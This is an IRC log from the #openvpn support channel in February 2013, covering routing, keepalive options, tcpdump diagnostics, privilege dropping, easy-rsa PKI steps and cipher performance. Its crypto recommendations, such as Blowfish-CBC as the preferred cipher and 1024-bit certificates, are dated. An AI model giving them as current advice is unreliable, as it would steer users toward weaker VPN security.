20:42 < jforman> hi all. i've recently been seeing lots of entries in my openvpn server log that look like "IP packet with unknown IP version=15 seen". no src or destination listed. is there a tcpdump flag i can use to figure out what might be causing these entries?
20:49 < p0rk> i added those settings, enabled ip forwarding, set eth0 into promiscuous mode but my client cant still not see any other servers on the lan
20:49 < p0rk> please help
21:09 < p0rk> do i also need the push command in my client config?
21:26 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has quit [Ping timeout: 248 seconds]
21:27 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has joined #openvpn
21:33  * ecrist looks in
22:05 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 255 seconds]
22:16 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Remote host closed the connection]
22:22 -!- James_V [~textual@72.37.128.164] has joined #openvpn
22:26 -!- James_V [~textual@72.37.128.164] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
22:30 -!- TheLaw [~law@irc.l4w.info] has quit [Ping timeout: 248 seconds]
22:32 -!- TheLaw [~law@irc.l4w.info] has joined #openvpn
22:43 -!- ura [~ura@unaffiliated/ura] has quit [Quit: Leaving]
22:47 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
23:27 -!- mode/#openvpn [+v pekster] by ChanServ
23:27 <+pekster> p0rk: Don't use promisc. You probably need your firewall fixed
23:29 <+pekster> jforman: Is that a tap or tun setup?
23:44 <+pekster> Then you failed to follow the flowchart you were linked
23:44 <+pekster> Erm, bad paste
23:45 <+pekster> jforman: Near as I can tell, that will occur in a tap setup when an Ethernet packet has an invalid IP protocol field. You can try something like 'tcpdump -pnvi tap0 not ip and not ipv6' perhaps?
23:54 -!- RealRancor [~chris@p5B13CB37.dip0.t-ipconnect.de] has joined #openvpn
--- Day changed Thu Feb 07 2013
00:08 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
00:11 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
00:27 < RealRancor> Hi everyone. Just a short question: Is the debian package available here: http://repos.openvpn.net/repos/apt/squeeze-snapshots/ a real snapshot or the final of openvpn 2.3.0 and just at the wrong place?
00:27 <@vpnHelper> Title: Index of /repos/apt/squeeze-snapshots/ (at repos.openvpn.net)
00:30 <+pekster> RealRancor: looks like 2.3.0 final based on timestamps of the other formal releases that were all signed on that same date
00:35 < RealRancor> pekster: Yes, noticed the same. But i wasn't really sure.
00:37 < RealRancor> There is an entry in the changelog of this package: "Preparing for v2.3.0 (David Sommerseth, d690047)", so i wasn't really sure if this is the final.
01:00 -!- cosmicgate [~root@94.249.242.85] has joined #openvpn
01:03 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
01:07 -!- hid3 [~arnoldas@78.157.71.116] has joined #openvpn
01:07 < hid3> Hello everyone. I need to run OpenVPN on a really old/slow CPU. Is there any way I can reduce CPU usage and gain some performance? I have already turned off the compression. Is there any way to lower the encryption level so that I'll save a few more CPU cycles?
01:10 < cosmicgate> get a ssd
01:11 < hid3> Any real advice?
01:12 -!- JyZyXEL [~foo@a88-112-73-201.elisa-laajakaista.fi] has joined #openvpn
01:13 < JyZyXEL> what kind of settings do i need to have automatic reconnecting for a client that uses wifi that can sometimes drop out?
01:20 <+pekster> JyZyXEL: --ping and --ping-restart
01:20 <+pekster> See the manpage for those (or the --keepalive) option. See also:
01:20 <+pekster> !keepalive
01:20 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
01:27 -!- ade_b [~Ade@95.209.143.40.bredband.tre.se] has joined #openvpn
01:27 -!- ade_b [~Ade@95.209.143.40.bredband.tre.se] has quit [Changing host]
01:27 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:28 -!- RealRancor2 [~Rancor3@mafiaforum.de] has joined #openvpn
01:30 < cosmicgate> hid3:get a ssd
01:31 <+pekster> That won't help CPU consumption...
01:31 -!- cosmicgate [~root@94.249.242.85] has quit []
01:32 -!- RealRancor [~chris@p5B13CB37.dip0.t-ipconnect.de] has quit [Quit: Leaving.]
01:32 -!- RealRancor2 is now known as RealRancor
01:34 < hid3> Indeed
01:34 <+pekster> hid3: blowfish symmetric crypto (the default) is one of your lowest CPU choices, at least if you want strong crypto (choices like rc4 are awful, and I'm not sure will even give you realistic improvements in CPU.)
01:34 < hid3> Besides, I was asking about software optimizations, not hardware
01:34 < hid3> and besides, there aren't SSDs with 68-pin SCSI or 40-pin IDE connectors
01:34 <+pekster> BF has higher times for re-keying (1/h by default) but that won't block traffic flow when it sets up new keys
01:35 < hid3> pekster: what about aes-128-cbc? Isn't it faster than BF?
01:35 < hid3> I also found some 'fast-io' option, hope this also helps
01:36 <+pekster> bf 128 is generally going to be faster than AES, unless you've got a hardware crypto module
01:36 < hid3> great, thanks
01:37 <+pekster> Are you actually capping out your CPU when you load up the VPN?
01:37 < hid3> One more thing: is there any point in reducing client/server certificate bits from 1024 down to 384 in order to boot the performance, at least a little bit?
01:37 <+pekster> Also, if you're multi-core, know that openvpn is single-threaded, so you'd need to distribute the load across $nCPU instances evenly to get max yield
01:37 < hid3> In fact, yes, the CPU is being used at 65-80% when a client is connected
01:37 <+pekster> No, the X509 keypairs are only used for the TLS channel
01:38 < hid3> yep, I'm multi-CPU and I'm aware of OpenVPN being single-threaded
01:38 < hid3> and not sure if I can make it use more than once CPU
01:39 <+pekster> Sort of like ssh, a larger keysize only impacts the initial connection (and technically things like session rekeys, but that's not impacting your traffic flow)
01:39 < hid3> Oh, I see
01:39 <+pekster> >1 instance is the only way to get openvpn to leverage mutliple CPUs. That only applies if you have multiple users online at once
01:39 < hid3> No! Only one client :)
01:40 <+pekster> Short of disabling crypto there's not much you can do then. Might as well run sit/GRE instead at that point
01:40 < hid3> BTW, why that guy was suggesting getting and SSD? How THAT would help? I have my status file completely disabled... And I thought OpenVPN is inside RAM, not HDD
01:40 <+pekster> Or price out a nice atom CPU? :P
01:40 <+pekster> Yea, no clue on that suggestion; it was obviously poor
01:41 < hid3> pekster: considering Atom but not at this time (already have a few ones but for different apps. Satisfied!)
01:41 < hid3> well, I just need satisfactionary OpenVPN connection at this time. Not much of turbo/ultra fast/stable, etc
01:41 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 248 seconds]
01:42 <+pekster> I can get fairly decent speeds on my embedded router running at I think 400 MHz with 32M RAM total (including for the kernel, etc)
01:42 <+pekster> At least, decent across most Internet links you find today
01:42 <+pekster> (sure, locally there's nothing like 100 or 1000-Base-T)
01:42 -!- rob0 [rob0@harrier.slackbuilds.org] has joined #openvpn
01:42 -!- rob0 [rob0@harrier.slackbuilds.org] has quit [Changing host]
01:42 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
01:42 < hid3> With encryption completely off, right?
01:43 <+pekster> No, with crypto. It's not a problem when I deployed some of these units last regular gig to a dozen of the perma-remote staff at that job, including our CEO
01:43 <+pekster> s/our/their/
01:44 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
01:44 < hid3> Well, I'm from Lithuania, we have one of the fastest Internet links in Europe. 1 Gbps local traffic (to Lithuania networks) and ~800 Mbps to foreign networks ;-)
01:44 <+pekster> Yea, to get anywhere *near* those kinds of speeds with symmetric encryption of network data you're gunna need much better hardware
01:45 <+pekster> Consider looking at hardware AES devices if you're building a box to fill a specific need like that
01:45 < hid3> no, again, as I said. Just a decent connection (15-25 Mbps would be enough) :)
01:46 <+pekster> I don't have the benchmark data in front of me, but I was pretty sure I could get around that with my crappy $30 Asus embedded router...
01:46 < hid3> Similar case here. My server was originally made (in France, BTW) in 1998-1999
01:47 < hid3> And yes, it still works!
01:47 < hid3> The only upgrades were some additional Gigabit NICs and larger SCSI HDDs
01:48 <+pekster> You could try to benchmark some ciphertests via openssl. For example, comparing bf-cbc with aes-128-cbc: 'openssl speed bf-cbc aes-128-cbc'
01:48 < hid3> Nowadays I've never seen a server made in some Euro country. Usually it's Taiwan, Malaysia, China, etc.
01:48 <+pekster> That'll show you bps processing at various block sizes
01:49 < hid3> wow, great, didn't know that. I'll try this out!
01:49 <+pekster> At low block sizes (like you get with stream processing: eg openvpn) blowfish is usually between 1.5 - 3 times faster
01:49 < hid3> looks like BF is slightly faster at smaller block sizes...
01:50 < hid3> yep, true :)
01:50 <+pekster> AES hardware skews that massively toward AES, of course (openssl probably needs some evp/engine value to use it if you have one)
01:52 < hid3> BF is almost 5 times faster than des-ede3 ;-)
01:52 < hid3> OpenVPN is great. It has got a reasonably fast compression method by default.
01:52 <+pekster> Yea, and tripple-des is falling out of some popularity for that primary reason
01:53 <+pekster> Indeed: lzo is a stream compressor, so it's not nearly as good as dictionary-based solutions (zip, gzip, bzip, lzma, etc) but it can be processed in realtime
01:54 < hid3> well, I don't see any point in compression unless you're using a dial-up
01:54 <+pekster> Depends if CPU or bandwidth is a bigger blocker for throughput
01:55 < hid3> Neither should be these days. Pretty fast conenctivity (well, at least where I live) and pretty fast CPUs.. Almost everyone has got no less than 60-80 Mbps at home and at average Core i3 CPU
01:57 <+pekster> After initial burst, my (fairly typical for US broadband) cable download peaks at around 15 Mbps. It's also about 3x the cost of broadband service compared to Sweeden, for example
01:57 <+pekster> You can get faster here, but you tend to pay for it dearly
01:58 < hid3> Wow
01:58 < hid3> I thought people live better in North America
01:58 <+pekster> Welcome to land of the 2nd world, over-priced ISP service ;)
01:58 < hid3> but why is it so?
01:58 <+pekster> Monopolies mostly
01:59 < hid3> oh yeah. We have monopolies here. Electricity power, home heating, food sellers, etc
01:59 <+pekster> Some ISPs toy with monthly bandwidth caps ranging from 150GB/mo to 300GB/mo. 6 years or so back I was on a "soft cap" of 250G, but they didn't really do anything unless they wanted to. We're officially "Uncapped" again, although I'm sure they call customers who eat unusually large amounts
02:00 <+pekster> As much as it's a pain here, I hear Canada has it slightly worse (if that's possible)
02:00 <+pekster> Similar prices, but some providers have really low bandwidth caps
02:00 < hid3> Electricity is getting expensive. like $0.30/kWh. Home heating is also expensive. It's almost equal to average month salary on a cold winter month
02:01 <+pekster> Yea, that's pricey. We're I think $0.07 USD/kWh for the local electric grid now
02:01 <+pekster> Central US, just under Canada, so not the most expensive electric cost in the country
02:01 < hid3> 300 GB is a daily traffic for most of us :)
02:01 <+pekster> Yea... :(
02:02 <+pekster> fwiw, I ran through some cbc openssl speed tests, and on my Celeron 2.3GHz processor in my headless VPN box, nothing goes faster than BF at the lower block sizes
02:03 <+pekster> Nothing even comes close, so unless you get better/different results, you're probably just out of luck
02:03 < hid3> I'm sure I'll just leave the BF alone. I'll need to try the 'fast-io' option
02:04 < hid3> Is there any benefit of running OpenVPN as a different user, not root?
02:04 <+pekster> Yup, see --user and --group
02:05 < hid3> I suspect this option is for paranoid/security people
02:05 < hid3> And what's the benefit of that?
02:05 <+pekster> You probably also want/need the --persist-key and maybe --persist-tun options too
02:05 < hid3> I have them both, already
02:05 <+pekster> Downgrade runtime user in the event of some future attack of the protocol that allows an attacker to execute code as the UID of the process
02:05 <+pekster> "extra protection" basically. "just in case" ;)
02:07 < hid3> yeah. For paranoid people
02:07 <+pekster> The general unix mentality is 'run with as few priveliges as possible' verses the Windows version of "if you don't run as an admin, lots of stuff (may) not work"
02:08 <+pekster> sudo runs circles around the equivelent "runas" functionality of Windows
02:09 < JyZyXEL> should i use --persist-tun with --keepalive 10 120 ?
02:09 <+pekster> JyZyXEL: Those options have nothing to do with one another
02:09 <+pekster> Sure, you can use both if you'd like, but they're not related
02:11 < JyZyXEL> i feel that it would be good
02:11 <+pekster> --persist-tun is more or less required to handle restarts (USR1 or HUP) when you downgrade the runtime user with --user
02:14 < JyZyXEL> i wonder if there is something else i would want
02:15 <+pekster> --do-my-laundry-and-make-coffee ?
02:16 -!- bauruine [~stefan@91.236.116.112] has quit [Read error: Operation timed out]
02:17 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
02:17 < walp> --load-bowl
02:21 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
02:22 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 255 seconds]
02:27 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
02:30 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
02:32 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Client Quit]
02:32 <+pekster> Here ya go (actual laundry-performing and coffee-making functionality is, naturally, missing.) http://pekster.sdf.org/misc/openvpn-laundry-coffee.patch
02:33 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
02:36 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 246 seconds]
02:43 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
02:49 <+pekster> Results: http://fpaste.org/3fK8/
02:50 <+pekster> I love open-source code
02:56 <+pekster> hid3: In all seriousness, I'd be curious if you get a noticable speed improvement with --fast-io
03:05 -!- frsk [fredrik@frsk.net] has quit [Remote host closed the connection]
03:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
03:14 -!- y4h0 [~yavor@78.128.23.17] has quit [Ping timeout: 272 seconds]
03:27 -!- b1rkh0ff [~b1rkh0ff@178.77.2.66] has quit [Read error: Operation timed out]
03:37 -!- thermoman [~thermoman@idle.foobar0815.de] has quit [Ping timeout: 264 seconds]
03:50 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
04:01 -!- thermoman [~thermoman@idle.foobar0815.de] has joined #openvpn
04:01 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
04:05 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
04:06 -!- yavor [~yavor@78.128.23.17] has joined #openvpn
04:10 -!- yavor [~yavor@78.128.23.17] has quit [Ping timeout: 248 seconds]
04:12 -!- zz_AsadH is now known as AsadH
04:14 -!- angs [~ubuntu@46-236-109-10.customer.t3.se] has joined #openvpn
04:14 -!- ade_b [~Ade@37.250.124.197.bredband.tre.se] has joined #openvpn
04:14 -!- ade_b [~Ade@37.250.124.197.bredband.tre.se] has quit [Changing host]
04:14 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:14 < angs> why do I get permission denied for this operation
04:14 < angs> root@ubuntu:/etc/openvpn/2.0# ./vars
04:14 < angs> bash: ./vars: Permission denied
04:16 <+pekster> You need to source it, not execute it
04:17 < angs> thank you pekster
04:17 < angs> how can I source it?
04:18 <+pekster> the source command, or the alias "." (you'll notice all the guides have you do: . ./vars for that reason)
04:18 <+pekster> See also:
04:18 <+pekster> !howto
04:18 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
04:18 < angs> thank you
04:22 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 248 seconds]
04:29 -!- dazo_afk is now known as dazo
04:33 -!- ade_b [~Ade@109.58.227.250.bredband.tre.se] has joined #openvpn
04:33 -!- ade_b [~Ade@109.58.227.250.bredband.tre.se] has quit [Changing host]
04:33 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:21 -!- mode/#openvpn [-v pekster] by ChanServ
05:22 < jforman> pekster: sorry for the delay, it is a tun setup. let me try that tcpdump cli and see what shows up
05:23 -!- yavor [~yavor@78.128.23.17] has joined #openvpn
05:23 -!- yavor is now known as y4h0
05:23 < y4h0> hey
05:24 < y4h0> can i configure openvpn to use only passwords for authentication ?
05:28 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 252 seconds]
05:29 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
05:49 -!- angs [~ubuntu@46-236-109-10.customer.t3.se] has quit [Remote host closed the connection]
06:03 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 246 seconds]
06:08 -!- gedO_ [~quassel@esc.ortopedija.lt] has joined #openvpn
06:08 -!- gedO [~quassel@esc.ortopedija.lt] has joined #openvpn
06:11 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
06:15 -!- defswork [~andy@141.0.50.105] has joined #openvpn
06:16 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Client Quit]
06:19 -!- Burgundy [~burgundy@5-12-190-68.residential.rdsnet.ro] has joined #openvpn
06:22 -!- gedO [~quassel@esc.ortopedija.lt] has quit [Remote host closed the connection]
06:22 -!- gedO_ [~quassel@esc.ortopedija.lt] has quit [Remote host closed the connection]
06:29 -!- benedikt [~benedikt@unaffiliated/benedikt] has joined #openvpn
06:30 < benedikt> I have an odd use-case. I have set up an openvpn server, that NATs the VPN subnet onto the internet.
06:30 < benedikt> I want to connect to this VPN with a linux host that is also a NAT server for its internal network
06:30 < benedikt> so that hosts on the internal network are routed something like
06:30 < benedikt> internal -> liunx nat -> openvpn nat -> internet
06:31 < benedikt> the linux box can connect and works fine, but client on the internal network loose connection with the internet
06:31 < benedikt> is ther anything special i should keep in mind when i start debugging this again?
06:51 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Read error: Operation timed out]
06:54 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
06:55 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
07:01 < hid3> Any ideas how to disable IPv6 in OpenVPN (server) config? Simply I don't need it.
07:02 -!- master_of_master [~master_of@p57B53D36.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
07:03 <@plaisthos> hid3: just don't enable it
07:04 -!- master_of_master [~master_of@p57B532CC.dip.t-dialin.net] has joined #openvpn
07:05 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
07:14 < kisom> Guys, what's the difference between tap and --topology subnet?
07:14 < kisom> To me it seems like they are just about the same.
07:16 <@ecrist> not at all, aside from addressing
07:16 <@ecrist> top is a layer 2 device, whereas tun is a layer 3 device
07:16 <@ecrist> tap passes ethernet frames, tun does not
07:24 < kisom> ecrist: So what happens to broadcasts etc to the /24 network?
07:25 <@ecrist> nothing
07:41 -!- Devastator [~devas@177.18.196.246] has joined #openvpn
07:54 -!- jforman [~jforman@unaffiliated/jforman] has left #openvpn []
08:01 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has quit [Ping timeout: 240 seconds]
08:05 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has joined #openvpn
08:09 < WDKevin> fys, you around?
08:09 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has quit [Ping timeout: 256 seconds]
08:10 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has joined #openvpn
08:15 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has quit [Ping timeout: 244 seconds]
08:16 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has joined #openvpn
08:39 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has quit [Ping timeout: 256 seconds]
08:49 -!- RealRancor [~Rancor3@mafiaforum.de] has quit [Read error: Connection reset by peer]
08:51 -!- Devastator [~devas@177.18.196.246] has quit [Changing host]
08:51 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
09:03 <@dazo> kisom: with TAP you'll get the broadcasts ... and TAP is only "topology subnet" .... but with TUN + topology subnet, you'll get a more "sane" IP setup, not spending 4 IPs for each client ... but you can only pass IP traffic (layer3) and you don't get the broadcast traffic (that's dropped) .... but should (in theory at least) be possible to get multicast traffic if needed, though
09:04 <@dazo> hid3: don't configure it (--server-ipv6) ... and it won't be used
09:04 <@dazo> but most OS today assign link-local IPv6 addresses automatically - but that's the OS kernel doing it, not OpenVPN
09:05 <@dazo> (and link-local addresses are never routed anywhere, you need global IPv6 addresses to get the routed out of your own local net)
09:45 < WDKevin> if i have my push route in the server config, do i need a pull or anything similar in the client config for it to work?
09:47 < rob0> --client includes --pull
09:47 < WDKevin> ok
09:47 < WDKevin> ive got client
09:48 < WDKevin> i need to add an iptables rule on the vpn server as well, right?
09:49 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Read error: Connection reset by peer]
09:54 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
09:54 -!- AsadH is now known as zz_AsadH
09:58 < WDKevin> im able to ping the local ip of the vpn server within my network, but not any other servers on my network
09:58 < WDKevin> ive added 2 iptables rules from this page: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
09:58 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
09:58 < WDKevin> but still nothing
10:01 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
10:01 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 255 seconds]
10:03 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 276 seconds]
10:04 < rob0> !serverlan
10:04 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
10:08 < WDKevin> i have ip forwarding enabled already
10:08 < WDKevin> and i am pushing the route in my server config
10:08 < WDKevin> my local servers are all on 192.168.1.* address
10:08 < WDKevin> my push line reads:
10:09 < WDKevin> push "route 192.168.1.0 255.255.255.0"
10:09 < rob0> Did you follow through the flowchart?
10:09 < WDKevin> going through it now
10:10 < WDKevin> ok
10:10 < WDKevin> im at this step:
10:10 < WDKevin> 'Add a route to the router so it knows how to reach the vpn subnet"
10:10 < WDKevin> Can you explain that a little for me?
10:13 -!- Orbi [~opera@anon-147-196.vpn.ipredator.se] has joined #openvpn
10:15 -!- raidz_away is now known as raidz
10:16 <@plaisthos> WDKevin: that is general routing and not openvpn specific
10:17 < WDKevin> would that imply that i shouldnt be able to reach my machines from within my network at home as well, then?
10:17 < havoc> I was just thinking how it'd be nice to have coordinated cooperation amongs channels/projects on freenod
10:17 < havoc> e.g. "Go to ##networking, and ask about 'routing
10:17 < havoc> e.g. "Go to ##networking, and ask about 'routing', then come back here"
10:18 < WDKevin> plaisthos, or does that means since my vpn's are all on 10.0.8.* ip's that i need to tell my router about them?
10:18 < WDKevin> vpn clients*
10:18 < rob0> havoc, I don't think IRC could ever possibly substitute for knowing the basics.
10:19 < havoc> rob0: I agree, I was just thinking that #networking would be a better place to start
10:19 <@plaisthos> WDKevin: from your question I think you should read about basic routing
10:19 < havoc> i.e. learn your requirements first
10:19 < WDKevin> fair enough
10:19 -!- Orbi [~opera@anon-147-196.vpn.ipredator.se] has quit [Ping timeout: 248 seconds]
10:19 < WDKevin> we all have to start somewhere
10:19 < havoc> WDKevin: oh, I'm not critisizing you, or anyone, I'm trying to come up with a solution
10:19 <@plaisthos> I want to sound harsh but without a general understand of how routing works this will be hard to explain
10:20 < WDKevin> i understand
10:20 < WDKevin> i mean i understand what you're saying
10:20 < havoc> plaisthos, rob0: sometimes you have to ask at least once before you can know that there is more to know
10:20 <@dazo> !tcpip
10:20 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
10:20 < havoc> "What do I need to know/learn to do this?"
10:21 <@plaisthos> dazo: yeah that one ;)
10:21 < havoc> of course people on both sides of the issue would have to be patient enough for it to work
10:22 < havoc> WDKevin: basically you need/want to know IPv4 "routing", and its requirements
10:22 < WDKevin> ok
10:22 < WDKevin> ill look into it
10:22 <@dazo> WDKevin: not sure you saw that URL (!tcpip) ... but you'll save a lot of frustration by going through chapter 3.1 and trying to understand that
10:22 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has joined #openvpn
10:22 < WDKevin> though i still have the same router configs as the last time i had openvpn working, just a few months ago
10:23 <@dazo> WDKevin: nothing stops working out-of-the-blue .... if it worked then but not now ... believe it or not ... something did change
10:23 < WDKevin> im not arguing that
10:23 < WDKevin> i shutdown the standalone server and virtualized it
10:23 < WDKevin> reset up openvpn with different auth settings
10:24 <@dazo> then you definitely need to get a grasp of network routing .... and then learn to use tcpdump to see where the traffic goes in reality ... and figure out why it does so and then you can change it properly
10:37 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has joined #openvpn
10:37 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
10:41 -!- zz_AsadH is now known as AsadH
10:48 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:50 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Ping timeout: 276 seconds]
10:59 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Remote host closed the connection]
11:00 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
11:04 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
11:10 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Ping timeout: 264 seconds]
11:24 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
11:25 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 256 seconds]
11:41 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
11:54 -!- nickanderson_afk is now known as nickanderson
11:58 < Devastator> pekster I've made a step by step of how I would handle certs/keys, you are probably going to laugh even without wine, but if you wanna take a look anyway, ping me
11:58 -!- AsadH is now known as zz_AsadH
12:01 -!- ade_b [~Ade@host-78-65-176-101.homerun.telia.com] has joined #openvpn
12:01 -!- ade_b [~Ade@host-78-65-176-101.homerun.telia.com] has quit [Changing host]
12:01 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:10 -!- BtbN [~btbn@btbn.de] has quit [Quit: Bye]
12:12 -!- pikaro [~vinter@pD9E607D1.dip.t-dialin.net] has joined #openvpn
12:17 -!- BtbN [~btbn@btbn.de] has joined #openvpn
12:18 < pikaro> hi! i've got a problem here. got a vpn account for work today, and started a vpn session. being the idiot that I am, I closed the window containing my password. my vpn session is still running, though. is there any way at all to retrieve the password from it? I've got full root access to the computer I'm on, running Debian unstable. The hash would likely suffice, it was just 8 characters.
12:18 <@dazo> Devastator: I'm interested in that topic as well ... so if you dare show it to me, I can surely review it for you
12:18 <@dazo> pikaro: nope, no chance
12:19 < pikaro> FUCK. I'm screwed, goodbye deadline.
12:19 <@dazo> pikaro: you could of course start a gdb session on the running openvpn instance, unless the openvpn config uses --auth-nocache
12:19 < pikaro> thanks anyways
12:19 <@dazo> but digging through the memory segments where it could be stored will take so much time and render openvpn useless during that time it will disconnect
12:20 < pikaro> it does not
12:21 <@dazo> pikaro: you need debug packages installed ... and you need gdb ... a lot of patience and gdb skills ... and with that there's a low chance you'll be able to dig up the info
12:21 -!- nze [~user@unaffiliated/nze] has joined #openvpn
12:21 < pikaro> would it be stored in clear text? I still remember the first character and the last three...
12:22 <@dazo> pikaro: my recommendation ... work as hell as long as the tunnel is available ... and get the password tomorrow
12:22 < Devastator> dazo, sure, excuse my english: http://codepad.org/n0OKFcMM
12:22 <@vpnHelper> Title: Plain Text code - 12 lines - codepad (at codepad.org)
12:23 <@dazo> pikaro: it will most likely be in clear text
12:23 < Devastator> just don't laugh too loud :P
12:24 <@dazo> Devastator: in fact, you're doing the right thing for a paranoid setup!  /me likes step #2, #3 and #4
12:24 < nze> i'm trying to set up openvpn on a centos 5.9 vps; when i try to start openvpn, i get a complaint about /dev/net/tun missing. so i tried to insmod tun, but /lib/modules is empty. how can i see if the kernel was compiled with support for loading modules dynamically?
12:24 < pikaro> alright then :( still screwed, though... thanks anyways!
12:25 < nze> and how do i check which modules have been compiled into the kernel statically?
12:25 <@dazo> Devastator: be careful with the clean-all and build-ca steps .... those should only be done one time.  And whenever you need to create a new server or client cert on the same CA, you just do the build-key-server or build-key-client, plus the copy stuff
12:26 <@dazo> Devastator: you only need dh{n}.pem on the server side, though
12:26 < nze> [not 100% this is the right place for these questions, but fundamentally i want to use openvpn; it just seems to require the tun module]
12:26 <@dazo> Devastator: and build-key-{server,client} will do the sign-req stuff for you ... no need to do that twice :)
12:26 <@dazo> Devastator: except of that ... good job!
12:27 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
12:27 <@dazo> Devastator: I started this wiki page a long time ago ... haven't had time to clean it up and finalise it ... but here's some more background on this topic: https://community.openvpn.net/openvpn/wiki/How_does_PKI_work
12:27 <@vpnHelper> Title: How_does_PKI_work – OpenVPN Community (at community.openvpn.net)
12:27 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
12:28 <@plaisthos> dazo: the client ignores if not compiled with CLIENT_ONLY :)
12:28 < Devastator> dazo ok, because yesterday I was told to generate csr instead of already signed cert/key, but I thought just like you, as I'm doing in an "offline" site
12:28 <@dazo> nze: I guess your VPS is openVZ or something like that?  .... if so, you need to ask your VPS provider to enable the tun device for you
12:29 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
